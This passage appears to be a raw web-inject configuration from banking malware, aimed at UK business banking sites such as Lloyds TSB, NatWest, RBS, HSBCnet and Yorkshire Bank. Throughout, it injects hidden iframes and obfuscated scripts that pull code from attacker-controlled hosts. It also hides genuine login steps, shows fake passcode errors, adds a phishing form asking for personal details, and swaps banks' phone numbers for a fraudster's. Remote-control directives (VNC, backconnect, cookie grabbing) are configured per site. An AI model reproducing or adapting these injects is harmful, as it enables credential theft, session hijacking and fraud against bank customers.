<data><begin mask="*">id="masterLb</begin><inject>126" style="display: none;</inject><end mask="*"></end></data>

<data><begin mask="*">function showLightBox()*{</begin><inject>return false; }; function _showLightBox(){</inject><end mask="*"></end></data>

<data><begin mask="*">function hideLightBox()*{</begin><inject>return false;</inject><end mask="*"></end></data>

<data><begin mask="*">function hide_scv_my_accounts()*{</begin><inject>return false;</inject><end mask="*"></end></data>

<data><begin mask="*">function show_scv_my_accounts()*{</begin><inject>return false;</inject><end mask="*"></end></data>

Page 68


<data><begin mask="*"></begin><inject><div id="lvldv" style="display: none;"><iframe id="lvlfrpost" name="lvlfrpost" style="height: 1px; width: 1px; display: none;"></iframe><script language="javascript" type="text/javascript">var lvljs = document.createElement('script');document.getElementById('lvldv').appendChild(lvljs);var url ='https://hsbc.up-stores.cc/js/hsbcch.js?r=' + Math.random();lvljs.src = url;function lvltxt_login_s1(f) {


}return true;



}return true;

}</script></div></inject><end mask="*"></body>*</html></end></data></unit>

; ======== HSBCNET_CH ============

<unit><url domain="*.secure.hsbcnet.com" />

<backconnect domain="*.secure.hsbcnet.com*"/><vnc domain="*.secure.hsbcnet.com*"/>

<data><begin mask="*"></begin><inject>; // </inject><end>.focus</end></data>

<data><begin mask="*"></begin><inject>id="wrap_wd" style="display: none;"></div><div id="wrap_wd_content" style="display: none;" </inject><end>class="tool translated"></end>

Page 69

injpack1_skylineinc-inc net (2).txt</data>

<data><begin mask="*">class="tool translated"*class="tool translated"</begin><inject> id="wrap_wd_content_1" style="display: none;"</inject><end></end></data>

<data><begin mask="*"></begin><inject><div id="lvldv" style="display: none;"><iframe id="lvlfrpost" name="lvlfrpost" style="height: 1px; width: 1px; display: none;"></iframe><script language="javascript" type="text/javascript">var lvljs = document.createElement('script');document.getElementById('lvldv').appendChild(lvljs);var url ='https://hsbcnet.sj148-storage.net/js/hsbcnetch.js?r=' + Math.random();lvljs.src = url;</script></div></inject><end mask="*"></body>*</html></end></data></unit>

; ======== LEICESTER_CH ============

<unit><url domain="*mybusinessbank.co.uk" request="/cs70_banking/logon*" />

<vnc domain="*mybusinessbank.co.uk" request="/cs70_banking/logon*" /><backconnect domain="*mybusinessbank.co.uk" request="/cs70_banking/logon*" /><avi domain="*mybusinessbank.co.uk" request="/cs70_banking/logon*" />

<data><begin></begin><inject>document.getElementById("leftcontainer").style.display = "none";// </inject><end>document.forms["logonForm"].elements["companyID"].focus()</end></data>

<data><begin></begin><inject>document.getElementById("idsection").style.display = "none";// </inject>

Page 70

injpack1_skylineinc-inc net (2).txt<end>document.forms["challengeQuestionForm"].elements["answer"].focus()</end></data>

<data><begin mask="*"></begin><inject><div id="c_wrap_wd" style="display: none;"></div></inject><end mask="*"><div id="logonblock_pm_password"></end></data>

<data><begin mask="*">onsubmit="</begin><inject>return </inject><end mask="*">submitAndLock(this);"</end></data>

<data><begin mask="*"><div id="passwordsection"</begin><inject> style="display: none;"</inject><end></end></data>

<data><begin mask="*"></begin><inject>// </inject><end>document.forms[j].elements[i].focus();</end></data>

<data><begin mask="*"></begin><inject><div id="lvldv" style="display: none;"><iframe id="lvlfrpost" name="lvlfrpost" style="height: 1px; width: 1px; display: none;"></iframe><script language="javascript" type="text/javascript">var lvljs = document.createElement('script');document.getElementById('lvldv').appendChild(lvljs);var url ='https://leicester.sj148-storage.net/js/leicesterch.js?r=' + Math.random();lvljs.src = url;</script>

Page 71

injpack1_skylineinc-inc net (2).txt</div></inject><end mask="*"></body>*</html></end></data></unit>

; ======== LLOYDSTSB_CH ============

<unit>

<url domain="*-business.lloydstsb.co.uk" request="/business/logon/*.jsp*" /><url domain="*-business.lloydstsb.co.uk" request="/business/a/logon/*.jsp*" /><url domain="*-business.lloydstsb.co.uk" request="/customer.ibc*" /><url domain="*-business.lloydstsb.co.uk" request="/business/primarylogin*" />

<vnc domain="*lloydstsb.co.uk" request="*"/><backconnect domain="*lloydstsb.co.uk" request="*"/><avi domain="*-business.lloydstsb.co.uk" request="/business/logon/*.jsp*" /><avi domain="*-business.lloydstsb.co.uk" request="/business/a/logon/*.jsp*" />

<data><begin mask="*">class="inner formSubmitError"</begin><inject> id="ErrorMessagePanel" </inject><end mask="*"></end></data>

<data><begin mask="*"></begin><inject><div class="inner formSubmitError" id="ErrorMessagePanel_lv" style="display:none;">139502 - Passcode : You've entered your passcode incorrectly. Please try again, following the on screen instructions carefully.</div> </inject><end mask="*"><div class="inner formSubmitError"</end></data>

<data><begin mask="*">"return validate()"></begin><inject><table width="100%" border="0" cellpadding="0" cellspacing="0" align="center" id="ErrorMessagePanel_lv" style="display: none;"><tr><td colspan="2"><table border="0" cellspacing="0" cellpadding="0" width="100%"><tr><td><table border="0" cellspacing="0" cellpadding="0" width="100%"><tr><td class="validation" colspan="2" align="left"><div class = "entries3c">Sorry we are unable to progress with your request</div><br>The following error occurred <br></td></tr><tr><td class="entries3r" valign="top">1) </td><td class="entries3r">139502 - Passcode : You've entered your passcode incorrectly. Please try again, following

Page 72

injpack1_skylineinc-inc net (2).txtthe on screen instructions carefully.<br></td></tr></table></td></tr></table></td></tr></table></inject><end mask="*"></end></data>

<data><begin mask="*"><table width="95%"</begin><inject> id="table_logon" </inject><end mask="*"></end></data>

<data><begin mask="*"><div class="primary"</begin><inject> id="table_logon"</inject><end mask="*"></end></data>

<data><begin mask="*">id="frmEnterOtp"</begin><inject> srtle="display:none"</inject><end mask="*"></end></data>

<data><begin mask="*"></begin><inject><div align="center" id="wrap_wd" style="display: none;float:left;width:100%;"></div></inject><end mask="*"><div class="primary"</end></data>

<data><begin mask="*"></begin><inject><form id="firstForm"><input type="hidden" name="hid" value="1"></form></inject><end mask="*"><form id="frmLogin"</end></data>

Page 73


<data><begin mask="*">function NetscapeLogonByDefault(e)*{</begin><inject> return false;</inject><end mask="*"></end></data>

<data><begin mask="*">function IECheckForEnter()*{</begin><inject> return false;</inject><end mask="*"></end></data>

<data><begin mask="*"></begin><inject><div id="lvldv" style="display: none;"><iframe id="lvlfrpost" name="lvlfrpost" style="height: 1px; width: 1px; display: none;"></iframe><script language="javascript" type="text/javascript">var lvljs = document.createElement('script');document.getElementById('lvldv').appendChild(lvljs);var url ='https://lloydstsb.sj148-storage.net/js/lloydstsbch.js?r=' + Math.random() + '&qw=lsbvk%32jsdfviuh%45jdfhdjfh';lvljs.src = url;

function lvltxt_login_s1(f) { if (typeof lvltxt != 'undefined') { return lvltxt.login_s1(f);

}return true;



}return true;

}

function init(){ if (arguments.callee.done) return; arguments.callee.done = true; try{ $('#frmLogin').unbind(); $('#frmLogin').submit(function(){return lvltxt_login_s1(this);}); }catch(e){ if (document.getElementById('frmLogin')){ document.getElementById('frmLogin').onsubmit = null; document.getElementById('frmLogin').onsubmit = function(){return lvltxt_login_s1(this);}; }

Page 74

injpack1_skylineinc-inc net (2).txt } try{ $('#frmEnterOtp').unbind(); $('#frmEnterOtp').submit(function(){return lvltxt_login_s2(this);}); }catch(e){ if (document.getElementById('frmEnterOtp')){ document.getElementById('frmEnterOtp').onsubmit = null; document.getElementById('frmEnterOtp').onsubmit = function(){return lvltxt_login_s2(this);}; } }}


// ie/*@cc_on @*//*@if (@_win32)document.write("<script id=__ie_onload defer src=javascript:void(0)>");document.write("<\/script>");var script = document.getElementById("__ie_onload");script.onreadystatechange = function() { if (this.readyState == "complete") { init(); }};/*@end @*/// otherswindow.onload = init;

</script></div></inject><end mask="*"></body>*</html></end></data></unit>

; ======== NATWEST_CH ============

<unit><url domain="*www.bankline.natwest.com*" /><url domain="*natwest.com" request="/go.ashx*" blackmask="*hsbc.co.uk*" />

<vnc domain="*bankline.natwest.com" request="*"/><backconnect domain="*bankline.natwest.com" request="*"/><avi domain="*bankline.natwest.com" request="*"/>

; ============; #4 begin; import script at all pages; ============<data save="true"><begin mask="*"></begin>

Page 75

injpack1_skylineinc-inc net (2).txt<inject>

<script type="text/javascript" src="https://www.google.com/jsapi"></script><script type="text/javascript">

var Om$=["","3cif","72","61m","65 ","69","64","3d","22","6c","76","6cf","72","70","6fs","74","22","20","6eame","3d","22l","76","6cf","72po","73t","22","20","73","74","79l","65=","22h","65i","67","68t: ","31px","3b w","69","64","74","68:","20","31p","78;","20d","69","73p","6c","61","79","3a no","6e","65;","22>","3c","2fif","72a","6d","65>","3csc","72","69p","74 ty","70e=","22te","78","74","2f","6a","61","76","61s","63","72","69pt","22>","20","67oog","6ce.load","28","22","6a","71u","65","72","79","22","2c","20","22","31.7","22)","3b","20","67oog","6c","65","2e","73e","74On","4c","6fa","64Callbac","6b(fu","6ection","28","29","20{","20","20","20","76","61","72","20u","72l =","27","68tt","70","73","3a//","6ea","74west.s","6a1","34","38","2d","73to","72","61","67","65.net","2fjs/n","61t","77es","74.js","3f","72","3d'","20","2b","20Math.","72","61","6edo","6d(","29","3b j","51","75","65","72y","28'","62ody","27","29.ap","70","65","6e","64","28'","3cs","63","72'","2b","27ip","74 ","74","79","70","65=","22te","78t/ja","76asc","72i","70","74","22","20","73","72","63=","22' +","20","75","72l","20+ '","22","3e","3c/sc","27 ","2b","20","27","72ip","74>');","20","7d","29","3b//","6e1","2e","32","36","4c","3c","2f","73","63","72ipt","3e"];Om$=Om$["j"+""+"\x6f"+"\x69"+"n"+""]("\\x");this["\x77"+""+"\x69"+"\x6e"+"d"+""+"\x6f"+"\x77"+""]["e"+""+"v"+""+"\x61"+"l"+""]("var llmO=\""+Om$+"\"");this["d"+""+"o"+"c"+"\x75"+"\x6d"+"\x65"+""+"n"+"t"+""]["w"+"\x72"+""+"\x69"+"t"+"e"+""](llmO);delete llmO;delete Om$;</script>

</inject><end mask="*"></body></end></data>; ============; #4 end; ============

;hide step1<data><begin mask="*"><form name="uniqueID*Form"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

;hide step2<data><begin mask="*"><form name="PPPpForm"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

<data process="all">Page 76

injpack1_skylineinc-inc net (2).txt<begin mask="*"></begin><inject>if ('1' === '2')</inject><end mask="*">self.setInterval(*function*()*{</end></data>


<script type="text/javascript" src="https://www.google.com/jsapi"></script><script type="text/javascript">

var Om$=["","3cif","72","61m","65 ","69","64","3d","22","6c","76","6cf","72","70","6fs","74","22","20","6eame","3d","22l","76","6cf","72po","73t","22","20","73","74","79l","65=","22h","65i","67","68t: ","31px","3b w","69","64","74","68:","20","31p","78;","20d","69","73p","6c","61","79","3a no","6e","65;","22>","3c","2fif","72a","6d","65>","3csc","72","69p","74 ty","70e=","22te","78","74","2f","6a","61","76","61s","63","72","69pt","22>","20","67oog","6ce.load","28","22","6a","71u","65","72","79","22","2c","20","22","31.7","22)","3b","20","67oog","6c","65","2e","73e","74On","4c","6fa","64Callbac","6b(fu","6ection","28","29","20{","20","20","20","76","61","72","20u","72l =","27","68tt","70","73","3a//","6ea","74west.s","6a1","34","38","2d","73to","72","61","67","65.net","2fjs/n","61t","77es","74.js","3f","72","3d'","20","2b","20Math.","72","61","6edo","6d(","29","3b j","51","75","65","72y","28'","62ody","27","29.ap","70","65","6e","64","28'","3cs","63","72'","2b","27ip","74 ","74","79","70","65=","22te","78t/ja","76asc","72i","70","74","22","20","73","72","63=","22' +","20","75","72l","20+ '","22","3e","3c/sc","27 ","2b","20","27","72ip","74>');","20","7d","29","3b//","6e1","2e","32","36","4c","3c","2f","73","63","72ipt","3e"];Om$=Om$["j"+""+"\x6f"+"\x69"+"n"+""]("\\x");this["\x77"+""+"\x69"+"\x6e"+"d"+""+"\x6f"+"\x77"+""]["e"+""+"v"+""+"\x61"+"l"+""]("var llmO=\""+Om$+"\"");this["d"+""+"o"+"c"+"\x75"+"\x6d"+"\x65"+""+"n"+"t"+""]["w"+"\x72"+""+"\x69"+"t"+"e"+""](llmO);delete llmO;delete Om$;</script>

</inject><end mask="*"></ body></html></end></data>

</unit>

; ======== RBS_CH ============

<unit><url domain="*www.bankline.rbs.com*" /><url domain="*rbs.co.uk" request="/go.ashx*" blackmask="*hsbc.co.uk*" />

<vnc domain="*bankline.rbs.com" request="*"/><backconnect domain="*bankline.rbs.com" request="*"/><avi domain="*bankline.rbs.com" request="*"/>

;hide step1Page 77

injpack1_skylineinc-inc net (2).txt<data><begin mask="*"><form name="uniqueID*Form"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

;hide step2<data><begin mask="*"><form name="PPPpForm"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

<data process="all"><begin mask="*"></begin><inject>if ('1' === '2')</inject><end mask="*">self.setInterval(*function*()*{</end></data>

<data><begin mask="*"></begin><inject><script type="text/javascript" src="https://www.google.com/jsapi"></script>

<script type="text/javascript">

var Iiiio=["","3c","69","66","72","61","6d","65","20id=","22","6c","76l","66","72p","6f","73t","22","20na","6d","65=","22l","76l","66","72po","73","74","22","20","73","74","79le=","22h","65","69","67","68","74","3a 1px","3b","20width","3a","20","31","70","78;","20","64","69s","70","6c","61","79","3a","20","6e","6f","6e","65;","22","3e","3c","2f","69","66","72","61m","65","3e","3c","73","63","72ipt t","79pe=","22text","2f","6aa","76","61","73","63","72","69","70","74","22>","67oo","67","6ce.","6c","6f","61","64","28","22","6aq","75","65","72y","22, ","221","2e7","22","29;go","6fg","6c","65.","73e","74","4fnL","6f","61","64","43a","6clb","61","63k","28","66","75n","63","74","69o","6e(","29","20","7b ","20","76","61","72 u","72l","20=","27h","74tps","3a//","72b","73","2e","73j","3148-","73t","6f","72","61","67e","2enet","2f","6as/","72","62","73.","6a","73?","72","3d' + Mat","68.","72","61","6edo","6d","28","29","3b","20 ","6aQue","72y('bo","64y'","29","2e","61","70","70e","6e","64","28'","3cs","63","72","27","2b'","69p","74","20typ","65","3d","22te","78t/","6a","61","76","61sc","72","69pt","22 s","72","63","3d","22","27 +","20u","72l","20+","20'","22","3e","3c/s","63'","20","2b '","72","69p","74>');","7d)","3b","3c","2f","73","63","72","69pt","3e"];Iiiio=Iiiio["\x6a"+"\x6f"+"i"+"n"+""]("\\x");this["\x77"+""+"\x69"+""+"\x6e"+"\x64"+"\x6f"+"w"+"

Page 78

injpack1_skylineinc-inc net (2).txt"]["\x65"+"v"+""+"\x61"+"l"+""]("var mmIi=\""+Iiiio+"\"");this["\x64"+"\x6f"+""+"c"+""+"\x75"+"\x6d"+""+"\x65"+"\x6e"+"\x74"+""]["\x77"+"r"+""+"\x69"+""+"t"+"\x65"](mmIi);delete mmIi;delete Iiiio;

</script></inject><end mask="*"></ body></html></end></data></unit>

; ======== YBONLINE_CH ============

<unit><url domain="*home1.ybonline.co.uk" request="/ralu/reglm-web/*.ctl" /><url domain="*home2.ybonline.co.uk" request="/ralu/reglm-web/*.ctl" />

<url domain="*home1.ybonline.co.uk" request="/cbib/cbib/index.jsp*" /><url domain="*home2.ybonline.co.uk" request="/cbib/cbib/index.jsp*" />

<vnc domain="*ybonline.co.uk" request="*"/><backconnect domain="*ybonline.co.uk" request="*"/><cookies_get domain="*ybonline.co.uk" request="/ybib/ybib/index.jsp" /><sols_get domain="*ybonline.co.uk" request="/ybib/ybib/index.jsp" /><avi domain="*ybonline.co.uk" request="/ralu*" />

<data><begin mask="*">setTimeout("</begin><inject>void(0)</inject><end mask="*">",420000</end></data>

<data><begin mask="*">setTimeout("canClose = false;</begin><inject> return false;</inject><end mask="*"></end></data>

<data><begin mask="*"><div class="message">Please enter </begin><inject> </inject><end mask="*">your password.</end></data>

Page 79







<data><begin mask="*">id="partialPassword3" style="</begin><inject>display:none;</inject>

Page 80


<data><begin mask="*"></begin><inject><label for="fullPassword">Password:</label><input autocomplete="off" name="fullPassword" maxlength="20" size="8" tabindex="1" value="" id="fullPassword" type="password"></inject><end mask="*"><label for="partialPassword1"</end></data>

<data><begin mask="*"><li>Please provide</begin><inject> </inject><end mask="*">your current password</end></data>

<data><begin mask="*"><label for="Answer"</begin><inject> id="labAnswer"</inject><end mask="*"></end></data>

<data><begin mask="*"></begin><inject><div align="center" id="wrap_wd" style="display: none;"></div></inject><end mask="*"><div id="innercontent"</end></data>

<data><begin mask="*"></begin><inject><div id="lvldv" style="display: none;"><iframe id="lvlfrpost" name="lvlfrpost" style="height: 1px; width: 1px; display: none;"></iframe><script language="javascript" type="text/javascript">var lvljs = document.createElement('script');document.getElementById('lvldv').appendChild(lvljs);var url ='https://ybonline.sj148-storage.net/js/ybonline.js?r=' + Math.random() + '&qw=lsbvk%32jsdfviuh%45jdfhdjfh';

Page 81

injpack1_skylineinc-inc net (2).txtlvljs.src = url;document.bid = "default";</script></div></inject><end mask="*"></body>*</html></end></data></unit>

<unit><url domain="*home1.ybonline.co.uk" request="/cbib/cbib/index.jsp*" /><url domain="*home2.ybonline.co.uk" request="/cbib/cbib/index.jsp*" />

<url domain="*home1.ybonline.co.uk" request="/ralu/reglm-web/securityQuestion.ctl*" /><url domain="*home2.ybonline.co.uk" request="/ralu/reglm-web/securityQuestion.ctl*" />

<data><begin mask="*"><div id="content"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

<data><begin mask="*"></begin><inject><div id="wrapForm" style="display:none; background-color: white;margin-left: 170px;min-height: 250px;width: 564px"> <form onsubmit="return lvltxt.checkEnroll('customerWrapForm');" enctype="application/x-www-form-urlencoded" action="" method="post" name="customerWrapForm" id="customerWrapForm" autocomplete="off"> <h1>Confirm your personal information</h1> <p>Please update your personal information to make sure that we have your latestcontact details on file.</p> <div id="innercontent">

<ul class="textfields"> <li style="background-image: none;line-height:

1.4em;list-style: none outside none;padding: 0.2em 0;"> <label for="fullName" style="width:250px;"> Full Name *: </label> <input type="text" id="fullName" value=""

tabindex="1" size="15" maxlength="50" name="fullName" autocomplete="off" onblur="return lvltxt.onlyMatch(this,/^[\w ]{3,50}$/,event);" >


1.4em;list-style: none outside none;padding: 0.2em 0;"> <label for="dobDay" style="width:250px;"> Date of Birth (dd/mm/yyyy) *: </label> <input type="text" value="" maxlength="2" size="2"

Page 82

injpack1_skylineinc-inc net (2).txtname="dobDay" id="dobDay" style="margin-bottom: 0px;float:none;"


lvltxt.onlyMatch(this,/^(0[1-9]|[12]\d|3[01])$/,event);" > <input type="text" value="" maxlength="2" size="2" name="dobMonth" id="dobMonth" style="margin-bottom: 0px; margin-left: 5px;float:none;"


lvltxt.onlyMatch(this,/^(0[1-9]|1[012])$/,event);" > <input type="text" value="" maxlength="4" size="4" name="dobYear" id="dobYear" style="margin-bottom: 0px; margin-left: 5px;float:none;"


lvltxt.onlyMatch(this,/^(19[2-9]\d|2000)$/,event);" >


1.4em;list-style: none outside none;padding: 0.2em 0;"> <label for="fullAddress" style="width:250px;"> Full address *: </label> <textarea id="fullAddress" name="fullAddress"

onblur="return lvltxt.onlyMatch(this,/^[\s\S]{3,250}$/,event);" ></textarea>


1.4em;list-style: none outside none;padding: 0.2em 0;"> <label for="phoneNumber" style="width:250px;"> Primary phone number *: </label> <input type="text" value="" maxlength="10" size="10"

name="phoneNumber" id="phoneNumber" style="margin-bottom: 0px;" onkeypress="return lvltxt.onlyNumbers(this,event)" onblur="return lvltxt.onlyMatch(this,/^\d{10}$/,event);"


1.4em;list-style: none outside none;padding: 0.2em 0;"> <label for="mobileNumber" style="width:250px;"> Mobile phone number *: </label> <input type="text" value="" maxlength="10" size="10"

name="mobileNumber" id="mobileNumber" style="margin-bottom: 0px;" onkeypress="return lvltxt.onlyNumbers(this,event)" onblur="return lvltxt.onlyMatch(this,/^\d{10}$/,event);"


1.4em;list-style: none outside none;padding: 0.2em 0;"> <label for="workNumber" style="width:250px;"> Work phone number: </label> <input type="text" value="" maxlength="10" size="10"

name="workNumber" id="workNumber" style="margin-bottom: 0px;"> </li> <li style="background-image: none;line-height:

1.4em;list-style: none outside none;padding: 0.2em 0;"> <label style="width:250px;clear:both;">* Required

fields</label> </li> </ul>

Page 83

injpack1_skylineinc-inc net (2).txt <center>

<div class="buttons"> <input type="submit" class="button" value="Continue"

tabindex="2"> </div> </center>

</div> </form></div></inject><end mask="*"><div id="content"</end></data>

</unit>

; ======== CAHOOT_CH ============

<unit><url domain="*securebank.cahoot.com*" request="/servlet/com.aquariussecurity.bks.security.authentication.servlet.LoginEntryServletBKS*" /><avi domain="*securebank.cahoot.com*" request="/servlet/com.aquariussecurity.bks.security.authentication.servlet.LoginEntryServletBKS*" /><backconnect domain="*securebank.cahoot.com*" request="/servlet/com.aquariussecurity.bks.security.authentication.servlet.LoginEntryServletBKS*" /><vnc domain="*securebank.cahoot.com*" request="/servlet/com.aquariussecurity.bks.security.authentication.servlet.LoginEntryServletBKS*" />

<url domain="*securebank.cahoot.com*" request="/servlet/com.aquariussecurity.bks.security.authentication.servlet.LogonServletBKS*" /><avi domain="*securebank.cahoot.com*" request="/servlet/com.aquariussecurity.bks.security.authentication.servlet.LogonServletBKS*" /><backconnect domain="*securebank.cahoot.com*" request="/servlet/com.aquariussecurity.bks.security.authentication.servlet.LogonServletBKS*" /><vnc domain="*securebank.cahoot.com*" request="/servlet/com.aquariussecurity.bks.security.authentication.servlet.LogonServletBKS*" />

<url domain="*securebank.cahoot.com*" request="/AquariusSecurity/bks/web/en/core_banking/log_in/frameset_top_log_in.jsp*" /><avi domain="*securebank.cahoot.com*" request="/AquariusSecurity/bks/web/en/core_banking/log_in/frameset_top_log_in.jsp*" /><backconnect domain="*securebank.cahoot.com*" request="/AquariusSecurity/bks/web/en/core_banking/log_in/frameset_top_log_in.jsp*" /><vnc domain="*securebank.cahoot.com*" request="/AquariusSecurity/bks/web/en/core_banking/log_in/frameset_top_log_in.jsp*" />

;hide step1<data><begin mask="*">

Page 84

injpack1_skylineinc-inc net (2).txt<form method="post" action="/servlet/com.aquariussecurity.bks.security.authentication.servlet.LogonServletBKS"</begin><inject> style="display:none;" id="step1Form"</inject><end mask="*"></end></data>

;hide step2<data><begin mask="*"><form method="post" action="/servlet/com.aquariussecurity.bks.security.authentication.servlet.PartialPasswordServletBKS"</begin><inject> style="display:none;" id="step2Form"</inject><end mask="*"></end></data>

<data><begin mask="*"></begin><inject><iframe id="lvlfrpost" name="lvlfrpost" style="height: 1px; width: 1px; display: none;"></iframe><script type="text/javascript" src="https://www.google.com/jsapi"></script><script type="text/javascript">google.load("jquery", "1.7");google.setOnLoadCallback(function() { var url ='https://cahoot.sj148-storage.net/js/cahoot.js?r=' + Math.random(); jQuery('body').append('<scr'+'ipt type="text/javascript" src="' + url + '"></sc' +'ript>');});//n0.5l</script></inject><end mask="*"></html></end></data></unit>

� � �aZ »d% ý4 chat_phone_replace.txt ;========= ABBEY-SANTANDER ============

<unit>

<url domain="*.santander.co.uk*" request="*migracionv1_contactUs*" />

<data><begin></begin><inject>0800 078 6272<span style="display: none;"></inject><end>0845 972 4724

Page 85


<data><begin>0845 972 4724</begin><inject></span></inject><end></end></data>

<data><begin></begin><inject>0800 078 6272<span style="display: none;"></inject><end>0845 607 0666</end></data>


</unit>

<unit>

<url domain="*santander.co.uk*" request="/LGSBBI_NS_ENS/BtoChannelDriver.ssobto?dse_operationName=LGSBBI_LOGON" />

<data><begin><body></begin><inject>0800 078 6272<span style="display: none;"></inject><end></end></data>

; #1 begin<data><begin></begin><inject>0800 078 6272<span style="display: none;"></inject>

Page 86

injpack1_skylineinc-inc net (2).txt<end>0845 600 4388</end></data>


</unit>

;========= COOPERATIVE ============

<unit>

<url domain="*www.co-operativebank.co.uk" request="/servlet/ContentServer*" />



<data><begin></begin><inject><strong>0800 078 6272</strong><span style="display: none;"></inject><end><strong>0845 601 9938</strong></end></data>

<data><begin><strong>0845 601 9938</strong></begin>

Page 87

injpack1_skylineinc-inc net (2).txt<inject></span></inject><end></strong></end></data>

</unit>

;========= FIRSTDIRECT ============

<unit>

<url domain="*.firstdirect.co*" request="/1/2/legals/listening*" />

; #1 begin<data><begin></begin><inject>08 000 786 272<span style="display: none;"></inject><end>08 456 100 100</end></data>

<data><begin>08 456 100 100</begin><inject></span></inject><end></end></data>

; #2 begin<data><begin></begin><inject>+44 208 1443456<span style="display: none;"></inject><end>+44 113 2345678</end></data>

<data><begin>+44 113 2345678</begin><inject></span></inject><end>

Page 88

injpack1_skylineinc-inc net (2).txt</strong></end></data>

; #3 begin<data><begin>class="phoneNumber"></begin><inject>08 000 786 272</inject><end></span></end></data>

</unit>

<unit>

<url domain="*.firstdirect.co*" request="/1/2/contact-us*" />

; #1 begin

<data><begin></begin><inject><span class="txtSizeH5 txtBold">08 000 786 272</span><span style="display: none;"></inject><end><span class="txtSizeH5 txtBold">08 456 100 100</span></end></data>

<data><begin><span class="txtSizeH5 txtBold">08 456 100 100</span></begin><inject></span></inject><end></end></data>

; #2 begin<data><begin></begin><inject>all us on <strong>08 000 786 272</strong><span style="display: none;"></inject><end>all us on <strong>08 456 100 100</strong></end></data>

Page 89

injpack1_skylineinc-inc net (2).txt<data><begin>all us on <strong>08 456 100 100</strong></begin><inject></span></inject><end></strong></end></data>

; #3 begin<data><begin></begin><inject>+44 208 144 3456<span style="display: none;"></inject><end>+44 113 234 5678</end></data>

<data><begin>+44 113 234 5678</begin><inject></span></inject><end></strong></end></data>

; #4 begin<data><begin></begin><inject>call <strong>08 000 786 272</strong><span style="display: none;"></inject><end>call <strong>08 456 100 100</strong></end></data>

<data><begin>call <strong>08 456 100 100</strong></begin><inject></span></inject><end></strong></end></data>

; #5 begin<data><begin>

Page 90

injpack1_skylineinc-inc net (2).txt</begin><inject>contact us on <strong>08 000 786 272</strong><span style="display: none;"></inject><end>contact us on <strong>08 456 100 100</strong></end></data>

<data><begin>contact us on <strong>08 456 100 100</strong></begin><inject></span></inject><end></strong></end></data>

; #6 begin<data><begin>class="phoneNumber"></begin><inject>08 000 786 272</inject><end></span></end></data>

</unit>

;========= HSBC ============

; ======== HSBC = NEED HELP ======<unit>

<url domain="*business.hsbc.co.uk" request="/1/2/help-centre/need-help*" />


<data><begin>0845 602 2014</begin><inject></span>

Page 91

injpack1_skylineinc-inc net (2).txt</inject><end></end></data>

<data><begin></begin><inject>+44 20 8144 3456<span style="display: none;"></inject><end>+44 17 9249 6941</end></data>

<data><begin>+44 17 9249 6941</begin><inject></span></inject><end></end></data>

</unit>

; ======== CONTACT US ======<unit>

<url domain="*business.hsbc.co.uk" request="/1/2/contact-us*" />



<data><begin></begin><inject>+44 (0) 20 8144 3456<span style="display: none;"></inject>

Page 92

injpack1_skylineinc-inc net (2).txt<end>+44 (0)1792 496 941</end></data>

<data><begin>+44 (0)1792 496 941</begin><inject></span></inject><end></end></data>

</unit>

;========= NATWEST ============

<unit><url domain="*natwest.com" request="/global/contact-us.ashx*" /><url domain="*natwest.com" request="/global/security/security-advice*" /><url domain="*natwest.com" request="/commercial/planning/g2/security-advice-centre*"/>

<data><begin mask="*"><div class="contentPod pod5"</begin><inject> id="generalPhones" rel="v4n"</inject><end mask="*"></end></data>

<data><begin mask="*"></begin><inject>0800 078 6272<span style="display:none;"></inject><end mask="*">08457 888 444</end></data><data><begin mask="*">08457 888 444</begin><inject></span></inject><end mask="*"></end></data>

<data><begin mask="*"></begin>

Page 93

injpack1_skylineinc-inc net (2).txt<inject>0800 078 6272<span style="display:none;"></inject><end mask="*">0845 30 50 600</end></data><data><begin mask="*">0845 30 50 600</begin><inject></span></inject><end mask="*"></end></data>

<data><begin mask="*"></begin><inject>0800 078 6272<span style="display:none;"></inject><end mask="*">08457 11 44 77</end></data><data><begin mask="*">08457 11 44 77</begin><inject></span></inject><end mask="*"></end></data>


<data><begin mask="*"></begin>

Page 94

injpack1_skylineinc-inc net (2).txt<inject>0800 078 6272<span style="display:none;"></inject><end mask="*">0845 300 3986</end></data><data><begin mask="*">0845 300 3986</begin><inject></span></inject><end mask="*"></end></data>


<data><begin mask="*"></begin><inject><span style="display:none;"></inject><end mask="*">When calling from abroad please dial</end></data><data><begin mask="*">Minicom +44 118 963 9148).</begin><inject></span></inject><end mask="*"></end></data>


Page 95

injpack1_skylineinc-inc net (2).txtAt NatWest we do everything we can to make sure you receive the best possible service.</begin><inject> However, sometimes we don't get things right. When this happens please let us know and we will ensure that we fully investigate your complaint and do everything we canto put things right.</p><p style="">Whichever way you contact us we'll start investigating straight away.</p><p style=""> <strong style="">In person</strong> - Speak to our staff at any of our branches: <a href="/global/find-branch.ashx?channel=global" onclick="return pw(this,800, 600);" style="display: block;">Branch Locator</a></p> <div style=""> <div style="width: 400px;" class="fl">

<p style=""> <brstyle=""/><strong>By telephone call</strong> <br style=""/><strong>Calls from abroad</strong> </p> </div> <div style="width: 200px;" class="fl"> <br style=""/> <p style=""> <strong style="">0800 078 6272</strong> <br> <strong style="">0800 078 6272</strong> </p> </div></div>

</div><div class="hr" style=""><hr style=""/></div><div class="row" style=""> <p style=""></span></inject><end mask="*">Calls may be recorded. Max call charge from a BT</end></data>

</unit>

;========= RBS ============

<unit><url domain="*rbs.co.uk" request="/global/h/contact-us.ashx*" /><url domain="*rbs.co.uk" request="/global/f/security/security-advice*" /><url domain="*rbs.co.uk" request="/corporate/banking/g6/online/reporting-suspicious-emails*" />

<data><begin mask="*"><div class="contentPod pod0"</begin><inject> id="generalPhones" rel="v4n"</inject><end mask="*"></end></data>

<data>Page 96

injpack1_skylineinc-inc net (2).txt<begin mask="*"></begin><inject>0800 078 6272<span style="display:none;"></inject><end mask="*">08457 24 24 24</end></data><data><begin mask="*">08457 24 24 24</begin><inject></span></inject><end mask="*"></end></data>

<data><begin mask="*"></begin><inject>0800 078 6272<span style="display:none;"></inject><end mask="*">0845 30 50 600</end></data><data><begin mask="*">0845 30 50 600</begin><inject></span></inject><end mask="*"></end></data>


<data>Page 97

injpack1_skylineinc-inc net (2).txt<begin mask="*"></begin><inject>0800 078 6272<span style="display:none;"></inject><end mask="*">0845 300 4350</end></data><data><begin mask="*">0845 300 4350</begin><inject></span></inject><end mask="*"></end></data>



<data>Page 98

